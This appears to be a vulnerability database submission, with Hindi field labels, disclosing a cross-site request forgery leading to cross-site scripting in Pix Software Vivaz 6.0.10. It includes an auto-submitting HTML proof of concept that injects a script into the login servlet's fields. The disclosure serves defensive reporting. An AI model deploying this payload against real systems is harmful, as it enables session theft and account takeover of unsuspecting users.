| शीर्षक | Pix Software Vivaz 6.0.10 Cross-Site Request Forgery |
|---|
| विवरण | A vulnerability has been identified in Pix Software's Vivaz product, version 6.0.10, that allows for Cross-Site Scripting (XSS) execution via a Cross-Site Request Forgery (CSRF) attack.
The application does not implement proper request validation mechanisms (such as CSRF tokens), allowing an attacker to send malicious requests on behalf of an authenticated user. Additionally, the lack of proper sanitization of input fields allows for the injection of malicious scripts, resulting in XSS.
Impact:
An attacker could exploit this vulnerability to execute arbitrary scripts in the context of the victim's browser. This could result in:
Stealing cookies and session information, allowing user account takeover.
Modification of content or unauthorized actions on behalf of the user.
Escalation of privileges if the attack targets administrative accounts.
PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://x.x.x.x/servlet?act=login&pixrnd=0125012208303707364328" method="POST">
<input type="hidden" name="idIncPesqSatisfacao" value="1"><ScRiPt>alert(document.cookie)</ScRiPt>" />
<input type="hidden" name="item" value="1" />
<input type="hidden" name="paramUsuario" value="1" />
<input type="hidden" name="senha" value="u]H[ww6KrA9F.x-F" />
<input type="hidden" name="sistema" value="1" />
<input type="hidden" name="subItem" value="1" />
<input type="hidden" name="usuario" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
|
|---|
| स्रोत | ⚠️ https://www.pixsoft.com.br/ |
|---|
| उपयोगकर्ता | Stux (UID 40142) |
|---|
| सबमिशन | 06/02/2025 06:35 PM (1 वर्ष पहले) |
|---|
| संयम | 15/02/2025 04:34 PM (9 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 295966 [Pix Software Vivaz 6.0.10 क्रॉस साइट रिक्वेस्ट फॉर्जरी] |
|---|
| अंक | 17 |
|---|